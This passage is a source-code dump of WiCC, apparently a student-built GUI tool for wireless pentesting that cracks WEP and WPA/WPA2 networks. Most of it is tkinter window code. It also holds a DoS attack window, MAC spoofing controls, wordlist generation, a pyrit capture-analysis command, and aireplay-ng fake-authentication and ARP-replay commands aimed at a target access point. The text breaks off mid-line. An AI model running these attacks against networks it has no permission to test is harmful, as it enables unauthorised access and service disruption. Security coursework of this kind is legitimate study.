filters_status[0] = self.encryptionVar.get() 503 | if self.clients_status.get(): 504 | filters_status[2] = True 505 | if self.channelVar.get() != "ALL": 506 | filters_status[3] = self.channelVar.get() 507 | return filters_status 508 | 509 | def get_notify(self, interfaces, networks): 510 | """ 511 | Introduces the interfaces and networks received in their respective structures. 512 | :param interfaces: array containing strings of the interfaces names. 513 | :param networks: array containing the networks and its properties. 514 | 515 | :author: Pablo Sanz Alguacil 516 | """ 517 | 518 | if interfaces: 519 | self.interfaces_old = interfaces 520 | interfaces_list = [] 521 | for item in interfaces: 522 | interfaces_list.append(item[0]) 523 | self.interfaces_combobox['values'] = interfaces_list 524 | self.interfaces_combobox.update() 525 | 526 | self.networks_old = networks 527 | self.networks_treeview.delete(*self.networks_treeview.get_children()) 528 | for item in networks: 529 | self.networks_treeview.insert("", END, text=item[13], values=(item[0], item[1], item[4], item[6], 530 | item[9] + " dbi", item[16])) 531 | self.networks_treeview.update() 532 | 533 | def current_mac(self): 534 | """ 535 | Gets the current MAC from Control. 536 | :return: string containing the MAC address 537 | 538 | :author: Pablo Sanz Alguacil 539 | """ 540 | 541 | return str(self.control.mac_checker(self.interfaceVar.get())) 542 | 543 | def get_notify_childs(self, operation, value): 544 | """ 545 | [0] Custom MAC 546 | [1] Random MAC 547 | [2] Restore MAC 548 | [3] MAC spoofing 549 | [4] Save directory to generated wordlists 550 | [5] Generate wordlist 551 | [6] DoS Attack 552 | Manages the operations received by the child windows (MAC tools, Crunch window) 553 | :param operation: integer. Is the id of the operation. 554 | :param value: value of the operation 555 | 556 | :author: Pablo Sanz Alguacil 557 | """ 558 | 559 | if operation == 0: 560 | self.customize_mac(value) 561 | elif operation == 1: 562 | self.randomize_mac() 563 | elif operation == 2: 564 | self.restore_mac() 565 | elif operation == 3: 566 | self.mac_spoofing_status = value 567 | self.spoofing_mac(value) 568 | elif operation == 4: 569 | self.send_notify(Operation.PATH_GENERATED_LISTS, value) 570 | elif operation == 5: 571 | self.send_notify(Operation.GENERATE_LIST, value) 572 | elif operation == 6: 573 | self.send_notify(Operation.DOS_ATTACK, value) 574 | 575 | def get_spoofing_status(self): 576 | """ 577 | Gets the current spoofing status. 578 | :return: boolean 579 | 580 | :author: Pablo Sanz Alguacil 581 | """ 582 | 583 | return self.mac_spoofing_status 584 | 585 | def send_notify(self, operation, value): 586 | """ 587 | Sends an order to Control 588 | :param operation: Opertaion from Operations class 589 | :param value: value of the operation 590 | :return: 591 | 592 | :author: Pablo Sanz Alguacil 593 | """ 594 | 595 | self.control.get_notify(operation, value) 596 | return 597 | 598 | def disable_window(self, value): 599 | """ 600 | Disables all buttons 601 | :param value: boolean. True for disable, False for enable. 602 | 603 | :author: Pablo Sanz Alguacil 604 | """ 605 | 606 | if value: 607 | self.set_buttons(False) 608 | self.button_stop_scan['state'] = DISABLED 609 | elif not value: 610 | self.set_buttons(True) 611 | 612 | def generate_wordlists_window(self): 613 | """ 614 | Generates the custom wordlists generator window. 615 | 616 | :author: Pablo Sanz Alguacil 617 | """ 618 | 619 | self.disable_window(True) 620 | GenerateWordlist(self) 621 | 622 | def temporary_files_location(self): 623 | """ 624 | Shows a window to select a location to save temporary files. Then sends the path to control. 625 | 626 | :author: Pablo Sanz Alguacil 627 | """ 628 | 629 | select_window = filedialog.askdirectory(parent=self.root, 630 | initialdir='/home', 631 | title='Choose directory') 632 | if select_window: 633 | try: 634 | self.send_notify(Operation.SELECT_TEMPORARY_FILES_LOCATION, select_window) 635 | 636 | except: 637 | self.popup_gen.error("Error", "Failed to set directory \n'%s'" % select_window) 638 | return 639 | 640 | def start_scan_wpa(self): 641 | """ 642 | Sends a notification to start a WPA scan. 643 | 644 | :author: Pablo Sanz Alguacil 645 | """ 646 | 647 | self.send_notify(Operation.START_SCAN_WPA, "") 648 | 649 | def silent_mode(self): 650 | """ 651 | Sends an order to control to set or unset the silent mode. Saves the status in a local variable. 652 | 653 | :author: Pablo Sanz Alguacil 654 | """ 655 | 656 | if self.silent_mode_status: 657 | self.silent_mode_status = False 658 | self.send_notify(Operation.SILENT_SCAN, False) 659 | else: 660 | self.silent_mode_status = True 661 | self.send_notify(Operation.SILENT_SCAN, True) 662 | 663 | def get_notify_buttons(self, buttons, state): 664 | """ 665 | Gets a notification to enable or disable buttons from the wep and wpa labelframes. 666 | :param buttons: Array[String] names of the buttons to be dissabled. 667 | :param state: boolean 668 | 669 | :author: Pablo Sanz Alguacil 670 | """ 671 | 672 | if state: 673 | status = ACTIVE 674 | else: 675 | status = DISABLED 676 | 677 | for button in buttons: 678 | if button == "scan_wpa": 679 | self.button_scan_wpa['state'] = status 680 | elif button == "attack_wpa": 681 | self.button_start_attack_wpa['state'] = status 682 | elif button == "attack_wep": 683 | self.button_start_attack_wep['state'] = status 684 | elif button == "select network": 685 | self.button_select_network['state'] = status 686 | 687 | def show_about(self): 688 | """ 689 | Creates a new About object 690 | 691 | :author: Pablo Sanz Alguacil 692 | """ 693 | About() 694 | 695 | def open_link(self): 696 | """ 697 | Opens the URL on a new tab in the default web browser. 698 | 699 | :author: Pablo Sanz Alguacil 700 | """ 701 | 702 | url = "http://www.github.com/pabloibiza/WiCC" 703 | webbrowser.open_new_tab(url) 704 | 705 | def show_cracked_passwords(self): 706 | """ 707 | Sends a notification to Control to open the cracked passwords file. 708 | 709 | :author: Pablo Sanz Alguacil 710 | """ 711 | self.send_notify(Operation.OPEN_CRACKED, "") 712 | 713 | def dos_attack(self): 714 | """ 715 | Sends an order to control to start a DoS Attack. 716 | 717 | :author: Pablo Sanz Alguacil 718 | """ 719 | self.disable_window(True) 720 | DoS(self) 721 | 722 | def decrypt_cap_file(self): 723 | """ 724 | Sends a notification and a path to Control to decrypt a .cap file. 725 | 726 | :author: Pablo Sanz Alguacil 727 | """ 728 | 729 | file_path = filedialog.askopenfilename(parent=self.root, 730 | initialdir='/home', 731 | title='Choose wordlist file', 732 | filetypes=[('Capture', '.cap'), 733 | ('Packet Capture', '.cap'), 734 | ("All files", "*.*")]) 735 | 736 | self.send_notify(Operation.DECRYPT_FILE, file_path) 737 | 738 | command = ['pyrit', '-r', file_path, 'analyze', '|', 'grep', 'AccessPoint', '|', 'awk', '\'{$1=\"\";', 'print', 739 | '$0}\'', '|', 'sed', '\"s/[()\']//g;s/.$//\"', '|', 'sort'] 740 | 741 | -------------------------------------------------------------------------------- /wicc_view_about.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | import webbrowser 11 | from tkinter import * 12 | from tkinter import Frame, Button, Label, RIGHT 13 | 14 | 15 | class About: 16 | logo = "resources/icon_medium.png" 17 | 18 | def __init__(self): 19 | self.build_window() 20 | self.root.mainloop() 21 | 22 | def build_window(self): 23 | """ 24 | Generates the window. 25 | 26 | :author: Pablo Sanz Alguacil 27 | """ 28 | 29 | self.root = Toplevel() 30 | self.root.geometry('460x300') 31 | self.root.resizable(width=False, height=False) 32 | self.root.title('About') 33 | 34 | # LABEL - INFO 35 | self.label_info = Label(self.root, pady=15, 36 | text="Developed as the Group Project for 3rd year of the Bachelor " 37 | "\nof Science in Computing in Digital Forensics and Cyber Security " 38 | "\nat the Technological University Dublin." 39 | "\n") 40 | 41 | self.label_info.pack() 42 | 43 | self.button = Button(self.root, text="Project page", command=self.open_link) 44 | self.button.pack() 45 | 46 | self.frame = Frame(self.root) 47 | self.frame.pack() 48 | 49 | photo = PhotoImage(file=self.logo) 50 | photo_label = Label(self.frame, image=photo) 51 | photo_label.image = photo 52 | photo_label.pack(side=LEFT) 53 | 54 | self.label_collaborators = Label(self.frame, text="\tPablo Sanz Alguacil (Code)" 55 | "\n\tMiguel Yanes Fernández (Code)" 56 | "\n\tAdam Chalkley (Research)") 57 | self.label_collaborators.pack(side=RIGHT) 58 | 59 | def open_link(event): 60 | """ 61 | Opens the URL on a new tab in the default web browser. 62 | 63 | :author: Pablo Sanz Alguacil 64 | """ 65 | 66 | url = "http://www.github.com/pabloibiza/WiCC" 67 | webbrowser.open_new_tab(url) 68 | -------------------------------------------------------------------------------- /wicc_view_dos.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | import webbrowser 11 | from tkinter import * 12 | from tkinter import ttk, Frame, Button, Label 13 | from wicc_view_popup import PopUpWindow 14 | 15 | 16 | class DoS: 17 | logo = "resources/icon_medium.png" 18 | main_view = "" 19 | 20 | def __init__(self, main_view): 21 | self.main_view = main_view 22 | self.build_window() 23 | self.root.mainloop() 24 | 25 | def build_window(self): 26 | """ 27 | Generates the window. 28 | 29 | :author: Pablo Sanz Alguacil 30 | """ 31 | 32 | self.root = Toplevel() 33 | self.root.geometry('310x200') 34 | self.root.resizable(width=False, height=False) 35 | self.root.title('DoS Attack') 36 | self.root.protocol("WM_DELETE_WINDOW", self.destroy_window) 37 | 38 | self.labelframe_info = LabelFrame(self.root) 39 | self.labelframe_info.pack(fill="both", expand="no", pady=15) 40 | 41 | self.label_info = Label(self.labelframe_info, pady=15, text="With this tool yo can perform a DoS Attack." 42 | "\n\nIntroduce the attack's duration in seconds." 43 | "\nIntroduce 0 for infite time attack." 44 | "\nWait until the tool finishes the attack. ") 45 | self.label_info.pack() 46 | 47 | self.labelframe_buttons = LabelFrame(self.root) 48 | self.labelframe_buttons.pack(fill="both", expand="no", pady=5) 49 | 50 | self.label_time = Label(self.labelframe_buttons, text="Time: ") 51 | self.label_time.grid(column=0, row=0, padx=5, pady=5) 52 | 53 | self.entry = ttk.Entry(self.labelframe_buttons) 54 | self.entry.grid(column=1, row=0, padx=5, pady=5) 55 | 56 | self.button_start = Button(self.labelframe_buttons, text="Start", command=self.start_dos) 57 | self.button_start.grid(column=2, row=0, padx=5, pady=5) 58 | 59 | def start_dos(self): 60 | """ 61 | Sends an order to the main view to start the DoS attack with a desired time. The packets are sended in groups 62 | of five, so the seconds introduced must be divided by 5. 63 | :param seconds: attacks duration 64 | 65 | :author: Pablo Sanz Alguacil 66 | """ 67 | 68 | try: 69 | seconds = int(self.entry.get()) 70 | converted_time = str(int(seconds / 5)) 71 | int(self.entry.get()) 72 | self.main_view.get_notify_childs(6, converted_time) 73 | 74 | except: 75 | PopUpWindow.warning("Warning", "Please introduce a valid number") 76 | 77 | def destroy_window(self): 78 | """ 79 | Enables all buttons in the main window and destroys this window. 80 | 81 | :author: Pablo Sanz Alguacil 82 | """ 83 | 84 | self.main_view.disable_window(False) 85 | self.root.destroy() 86 | -------------------------------------------------------------------------------- /wicc_view_mac.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | from wicc_view_popup import PopUpWindow 12 | from tkinter import * 13 | from tkinter import ttk, Label, Checkbutton, LabelFrame 14 | from wicc_view_right_click import rClicker 15 | 16 | 17 | class ViewMac: 18 | main_view = "" 19 | current_mac = "" 20 | accepted_characters = ['a', 'b', 'c', 'd', 'e', 'f', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', ':'] 21 | 22 | def __init__(self, view, spoofing_status): 23 | self.main_view = view 24 | self.spoofing_status = spoofing_status 25 | self.build_window() 26 | self.popup_gen = PopUpWindow() 27 | self.set_spoofing_checkbutton() 28 | self.root.mainloop() 29 | 30 | def build_window(self): 31 | """ 32 | Generates the window. 33 | 34 | :author: Pablo Sanz Alguacil 35 | """ 36 | 37 | self.root = Toplevel() 38 | self.root.protocol("WM_DELETE_WINDOW", self.destroy_window) 39 | self.root.geometry('440x490') 40 | self.root.resizable(width=False, height=False) 41 | self.root.title('WiCC - Mac Changer Tools') 42 | 43 | # LABELFRAME - INFO 44 | self.labelframe_info = LabelFrame(self.root, text="") 45 | self.labelframe_info.pack(fill="both", expand="no", pady=15) 46 | 47 | # LABEL - INFO 48 | self.label_info = Label(self.labelframe_info, pady=15, 49 | text="In this window you can change your MAC as you want by" 50 | "\nusing one this options. A great power comes with a" 51 | "\ngreat responsibility") 52 | self.label_info.pack(side=TOP) 53 | 54 | # LABELFRAME - CUSTOM MAC 55 | self.labelframe_custom_mac = LabelFrame(self.root, text="Write custom MAC") 56 | self.labelframe_custom_mac.pack(fill="both", expand="no", pady=10) 57 | 58 | # LABEL - CUSTOM MAC 59 | self.label_custom_mac = Label(self.labelframe_custom_mac, text="Custom MAC: ") 60 | self.label_custom_mac.grid(column=1, row=0, padx=5) 61 | 62 | # ENTRY - CUSTOM MAC 63 | self.entry_custom_mac = ttk.Entry(self.labelframe_custom_mac) 64 | self.entry_custom_mac.grid(column=2, row=0, padx=8) 65 | self.entry_custom_mac.bind('', rClicker, add='') 66 | 67 | # BUTTON - CUSTOM MAC 68 | self.button_custom_mac = ttk.Button(self.labelframe_custom_mac, text="Set custom MAC", command=self.customize_mac) 69 | self.button_custom_mac.grid(column=4, row=0) 70 | 71 | # LABELFRAME - RANDOM MAC 72 | self.labelframe_random_mac = LabelFrame(self.root, text="Randomize MAC") 73 | self.labelframe_random_mac.pack(fill="both", expand="no", pady=10) 74 | 75 | # LABEL - RANDOM MAC 76 | self.label_random_mac = Label(self.labelframe_random_mac, 77 | text="Changes the current MAC to a completly \nrandom MAC", justify=LEFT) 78 | self.label_random_mac.grid(column=1, row=0, rowspan=2, padx=5) 79 | 80 | # BUTTON - RANDOM MAC 81 | self.button_random_mac = ttk.Button(self.labelframe_random_mac, text="Randomize MAC", 82 | command=self.randomize_mac) 83 | self.button_random_mac.grid(column=3, row=0, padx=5) 84 | 85 | # LABELFRAME - RESTORE ORIGINAL 86 | self.labelframe_restore_original = LabelFrame(self.root, text="Restore original MAC") 87 | self.labelframe_restore_original.pack(fill="both", expand="no", pady=10) 88 | 89 | # LABEL - RESTORE ORIGINAL 90 | self.label_restore_original = Label(self.labelframe_restore_original, 91 | text="Restores the original selected interface's\nMAC address", 92 | justify=LEFT) 93 | self.label_restore_original.grid(column=1, row=0, padx=5) 94 | 95 | # BUTTON - RESTORE ORIGINAL 96 | self.button_restore_original = ttk.Button(self.labelframe_restore_original, text="Restore MAC", 97 | command=self.restore_mac) 98 | self.button_restore_original.grid(column=3, row=0, padx=5) 99 | 100 | # LABELFRAME - MAC SPOOFING 101 | self.labelframe_mac_spoofing = LabelFrame(self.root, text="MAC spoofing") 102 | self.labelframe_mac_spoofing.pack(fill="both", expand="no", pady=10) 103 | 104 | # LABEL - MAC SPOOFING) 105 | self.label_mac_spoofing = Label(self.labelframe_mac_spoofing, 106 | text="Spoof client's MAC address during attack") 107 | self.label_mac_spoofing.grid(column=1, row=0, padx=5) 108 | 109 | # CHECKBUTTON - MAC SPOOFING 110 | self.checkbutton_mac_spoofing = Checkbutton(self.labelframe_mac_spoofing, text="Active", command=self.mac_spoofing) 111 | self.checkbutton_mac_spoofing.grid(column=3, row=0, padx=5) 112 | 113 | # BUTTON - DONE 114 | self.button_done = ttk.Button(self.root, text="Done", command= self.destroy_window) 115 | self.button_done.pack(padx=15, pady=15) 116 | 117 | def customize_mac(self): 118 | """ 119 | Sends an order to the main view to set the MAC address to the sended one. 120 | Filters the address before send it (only hexadecimal values). 121 | 122 | :author: Pablo Sanz Alguacil 123 | """ 124 | 125 | address = self.entry_custom_mac.get().lower() 126 | colon_count = 0 127 | address_length = len(self.entry_custom_mac.get()) 128 | address_splited = list(address) 129 | boolean_fg = True 130 | for character in address_splited: 131 | if character in self.accepted_characters and address_length == 17: 132 | if character == ":": 133 | colon_count = colon_count + 1 134 | else: 135 | boolean_fg = False 136 | if boolean_fg and colon_count == 5: 137 | self.notify_view(0, self.entry_custom_mac.get()) 138 | else: 139 | self.popup_gen.warning("Warning", "Address not valid") 140 | 141 | def randomize_mac(self): 142 | """ 143 | Sends an order to the main view to randomize the MAC address. 144 | 145 | :author: Pablo Sanz Alguacil 146 | """ 147 | 148 | self.notify_view(1, "") 149 | 150 | def restore_mac(self): 151 | """ 152 | Sends an order to the main view to restore the original MAC address. 153 | 154 | :author: Pablo Sanz Alguacil 155 | """ 156 | 157 | self.notify_view(2, "") 158 | 159 | def set_spoofing_checkbutton(self): 160 | """ 161 | Selects or deselcts the MAC spoofing checkbutton. 162 | 163 | :author: Pablo Sanz Alguacil 164 | """ 165 | 166 | if self.spoofing_status: 167 | self.checkbutton_mac_spoofing.select() 168 | else: 169 | self.checkbutton_mac_spoofing.deselect() 170 | 171 | def mac_spoofing(self): 172 | """ 173 | Sends an order to the main view to set the MAC spoofing status. Saves the status in a local variable. 174 | 175 | :author: Pablo Sanz Alguacil 176 | """ 177 | 178 | if self.spoofing_status: 179 | self.spoofing_status = False 180 | self.notify_view(3, False) 181 | else: 182 | self.spoofing_status = True 183 | self.notify_view(3, True) 184 | 185 | def notify_view(self, operation,value): 186 | """ 187 | Operation values (int) 188 | [0] Custom mac 189 | [1] Random mac 190 | [2] Restore mac 191 | [3] Mac spoofing 192 | Sends and operation and value to the main view. 193 | :param self: 194 | :param operation: integer 195 | :param value: object 196 | 197 | :author: Pablo Sanz Alguacil 198 | """ 199 | self.main_view.get_notify_childs(operation, value) 200 | 201 | def destroy_window(self): 202 | """ 203 | Enables all buttons in the main window and destroys this window. 204 | 205 | :author: Pablo Sanz Alguacil 206 | """ 207 | 208 | self.main_view.disable_window(False) 209 | self.root.destroy() 210 | -------------------------------------------------------------------------------- /wicc_view_popup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | from tkinter import messagebox 12 | 13 | 14 | class PopUpWindow: 15 | 16 | @staticmethod 17 | def info(subject, text): 18 | messagebox.showinfo(subject, text) 19 | 20 | @staticmethod 21 | def warning(subject, text): 22 | messagebox.showwarning(subject, text) 23 | 24 | @staticmethod 25 | def error(subject, text): 26 | messagebox.showerror(subject, text) 27 | 28 | @staticmethod 29 | def yesno(subject, text): 30 | return messagebox.askyesno(subject, text) 31 | 32 | @staticmethod 33 | def okcancel(subject, text): 34 | return messagebox.askokcancel(subject, text) 35 | 36 | 37 | -------------------------------------------------------------------------------- /wicc_view_right_click.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | from tkinter import * 12 | 13 | 14 | def rClicker(e): 15 | """ 16 | Right click context menu for all Tk Entry and Text widgets 17 | 18 | :author: Pablo Sanz Alguacil 19 | """ 20 | 21 | try: 22 | def rClick_Copy(e, apnd=0): 23 | e.widget.event_generate('') 24 | def rClick_Cut(e): 25 | e.widget.event_generate('') 26 | def rClick_Paste(e): 27 | e.widget.event_generate('') 28 | e.widget.focus() 29 | nclst=[ 30 | (' Cut', lambda e=e: rClick_Cut(e)), 31 | (' Copy', lambda e=e: rClick_Copy(e)), 32 | (' Paste', lambda e=e: rClick_Paste(e)), 33 | ] 34 | rmenu = Menu(None, tearoff=0, takefocus=0) 35 | for (txt, cmd) in nclst: 36 | rmenu.add_command(label=txt, command=cmd) 37 | rmenu.tk_popup(e.x_root+40, e.y_root+10, entry="0") 38 | except TclError: 39 | print(' - rClick menu, something wrong') 40 | pass 41 | return "break" 42 | 43 | 44 | def rClickbinder(r): 45 | """ 46 | Objects binder 47 | :param r: object 48 | 49 | :author: Pablo Sanz Alguacil 50 | """ 51 | try: 52 | for b in [ 'Text', 'Entry', 'Listbox', 'Label']: 53 | r.bind_class(b, sequence='', 54 | func=rClicker, add='') 55 | except TclError: 56 | print(' - rClickbinder, something wrong') 57 | pass 58 | -------------------------------------------------------------------------------- /wicc_view_splash.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | import tkinter as tk 11 | 12 | 13 | class Splash: 14 | image_file = "resources/splash.png" 15 | width = 600 16 | height = 400 17 | 18 | def __init__(self): 19 | root = tk.Tk() 20 | # show no frame 21 | root.overrideredirect(True) 22 | 23 | # get screen width and height 24 | ws = root.winfo_screenwidth() 25 | hs = root.winfo_screenheight() 26 | # calculate position x, y 27 | x = (ws / 2) - (self.width / 2) 28 | y = (hs / 2) - (self.height / 2) 29 | root.geometry('%dx%d+%d+%d' % (self.width, self.height, x, y)) 30 | 31 | image = tk.PhotoImage(file=self.image_file) 32 | canvas = tk.Canvas(root, height=self.height, width=self.width, bg="brown") 33 | canvas.create_image(self.width/2, self.height/2, image=image) 34 | canvas.pack() 35 | 36 | root.after(2500, root.destroy) 37 | root.mainloop() -------------------------------------------------------------------------------- /wicc_view_wordlist.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | from tkinter import * 12 | from tkinter import ttk, Button, Label, Listbox, RIGHT, END, filedialog 13 | 14 | from wicc_view_right_click import rClicker 15 | 16 | 17 | class GenerateWordlist: 18 | main_view = "" 19 | words = [] 20 | files_location = "" 21 | 22 | def __init__(self, view): 23 | self.main_view = view 24 | 25 | self.root = Toplevel() 26 | self.root.protocol("WM_DELETE_WINDOW", self.destroy_window) 27 | self.root.geometry('440x540') 28 | 29 | self.root.resizable(width=False, height=False) 30 | self.root.title('WiCC - Generate Wordlist') 31 | 32 | self.build_window() 33 | self.reset_list() 34 | self.root.mainloop() 35 | 36 | def build_window(self): 37 | """ 38 | Generates the window. 39 | 40 | :author: Pablo Sanz Alguacil 41 | """ 42 | 43 | # LABELFRAME - INFO 44 | self.labelframe_info = LabelFrame(self.root, text="") 45 | self.labelframe_info.pack(fill="both", expand="no", pady=5) 46 | 47 | # LABEL - INFO 48 | self.label_info = Label(self.labelframe_info, pady=15, 49 | text="In this window you can create your custom wordlist\n" 50 | "After generate the list don't forget to select it using\n" 51 | "\"Select wordlist\" button in the main window. Words\n" 52 | "must be separated by spaces") 53 | self.label_info.pack(side=TOP) 54 | 55 | # LABELFRAME - ADD WORDS 56 | self.labelframe_write_word = LabelFrame(self.root, text="Add words") 57 | self.labelframe_write_word.pack(fill="both", expand="no", pady=5) 58 | 59 | # LABEL - ADD WORDS 60 | self.label_write_words = Label(self.labelframe_write_word, text="Write words: ") 61 | self.label_write_words.pack(side=LEFT, padx=5, pady=10) 62 | 63 | # ENTRY - ADD WORDS 64 | self.entry_words = ttk.Entry(self.labelframe_write_word) 65 | self.entry_words.pack(side=LEFT, padx=5, pady=10) 66 | self.entry_words.bind('', rClicker, add='') 67 | 68 | # BUTTON - ADD WORDS 69 | self.button_add = Button(self.labelframe_write_word, text="Add", command=self.add_word) 70 | self.button_add.pack(side=RIGHT, padx=5, pady=10) 71 | 72 | # LABELFRMAE - LIST 73 | self.labelframe_list = LabelFrame(self.root, text="Key words") 74 | self.labelframe_list.pack(fill="both", expand="no", pady=5) 75 | 76 | # LISTBOX - WORDS 77 | self.list_scrollbar = Scrollbar(self.labelframe_list) 78 | self.listbox_words = Listbox(self.labelframe_list, width=20, height=12) 79 | self.list_scrollbar['command'] = self.listbox_words.yview 80 | self.listbox_words['yscroll'] = self.list_scrollbar.set 81 | self.list_scrollbar.pack(in_=self.labelframe_list, side=RIGHT, fill=Y, expand="no") 82 | self.listbox_words.pack(in_=self.labelframe_list, fill="both", expand="no") 83 | 84 | # LABELFRMAE - CONTROLS 85 | self.labelframe_controls = LabelFrame(self.root, text="Controls") 86 | self.labelframe_controls.pack(fill="both", expand="no", pady=5) 87 | 88 | # BUTTON - RESET LIST 89 | self.button_reset = Button(self.labelframe_controls, text="Reset list", command=self.reset_list) 90 | self.button_reset.grid(column=0, row=0, padx=5, pady=10) 91 | 92 | # BUTTON - LOCATION 93 | self.button_location = Button(self.labelframe_controls, text="Location", command=self.choose_location) 94 | self.button_location.grid(column=1, row=0, padx=5, pady=10) 95 | 96 | # BUTTON - GENERATE LIST 97 | self.button_generate = Button(self.labelframe_controls, text="Generate", command=self.generate_list) 98 | self.button_generate.grid(column=2, row=0, padx=5, pady=10) 99 | 100 | def add_word(self): 101 | """ 102 | Adds the word/words to the words array, and refreshes the Listbox 103 | 104 | :author: Pablo Sanz Alguacil 105 | """ 106 | 107 | new_words = self.entry_words.get().split(" ") 108 | for word in new_words: 109 | self.words.append(word) 110 | self.listbox_words.delete(0, END) 111 | self.listbox_words.insert(END, *self.words) 112 | self.entry_words.delete(0, 'end') 113 | 114 | def reset_list(self): 115 | """ 116 | Deletes all elements in the words array and Listobx 117 | 118 | :author: Pablo Sanz Alguacil 119 | """ 120 | 121 | self.words = [] 122 | self.listbox_words.delete(0, END) 123 | 124 | def choose_location(self): 125 | """ 126 | Shows a popup window to select a directory to choose save the lists generated. then sends the path to 127 | the main view. 128 | 129 | :author: Pablo Sanz Algucil 130 | """ 131 | 132 | path = filedialog.askdirectory(title="Choose directory", 133 | initialdir="/home", 134 | mustexist=True) 135 | self.files_location = path 136 | self.main_view.get_notify_childs(4, self.files_location) 137 | 138 | def generate_list(self): 139 | """ 140 | Sends the order and words array to the main view. 141 | 142 | :author: Pablo Sanz Alguacil 143 | """ 144 | 145 | self.main_view.get_notify_childs(5, self.words) 146 | 147 | def destroy_window(self): 148 | """ 149 | Enables all buttons in the main window and destroys this window. 150 | 151 | :author: Pablo Sanz Alguacil 152 | """ 153 | 154 | self.main_view.disable_window(False) 155 | self.root.destroy() 156 | -------------------------------------------------------------------------------- /wicc_wep.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless cracking on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil and Miguel Yanes Fernández, as the Group Project for the 3rd year of the 7 | Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity, at TU Dublin - Blanchardstown Campus 8 | """ 9 | 10 | from wicc_enc_type import EncryptionType 11 | import time 12 | import threading 13 | 14 | 15 | class WEP(EncryptionType): 16 | def __init__(self, network, interface, mac, verbose_level, silent_attack, write_directory): 17 | """ 18 | Constructor for the WEP class (also calls the parent constructor) 19 | :param network: target network for the attack 20 | :param interface: selected wireless interface 21 | :param mac: attacker mac address 22 | :param verbose_level: verbose level set by main 23 | :param silent_attack: option to do a silent scan 24 | :param write_directory: directory to write the generated files 25 | 26 | :Author: Miguel Yanes Fernández 27 | """ 28 | EncryptionType.__init__(self, network, interface, verbose_level, silent_attack, write_directory) 29 | self.mac = mac 30 | self.running_with_wordlist = False 31 | self.running_aircrack = False 32 | 33 | def scan_network(self): 34 | """ 35 | Method to scan the target network. With the selected attacker's mac, makes a fake authentication to the network 36 | to then send arp responses to generate data. 37 | :param write_directory: directory to write the scan files 38 | :return: none 39 | 40 | :Author: Miguel Yanes Fernández 41 | """ 42 | super(WEP, self).scan_network() 43 | 44 | if not self.silent_attack: 45 | self.execute_command(['rm', self.write_directory + '/replay*']) 46 | fakeauth_cmd = ['aireplay-ng', '--fakeauth', '0', '-b', self.bssid, '-e', self.essid, '-T', '3', 47 | self.interface, '-h', self.mac] 48 | arpreplay_cmd = ['aireplay-ng', '--arpreplay', '-b', self.bssid, '-h', self.mac, 49 | '--ignore-negative-one', self.interface] 50 | 51 | fakeauth_out, err = self.execute_command(fakeauth_cmd) 52 | self.show_message("Faked authentication on ap: " + self.bssid + " with MAC: " + self.mac) 53 | # self.show_message(fakeauth_out.decode('utf-8')) 54 | 55 | arpreplay_thread = threading.Thread(target=self.execute_command, 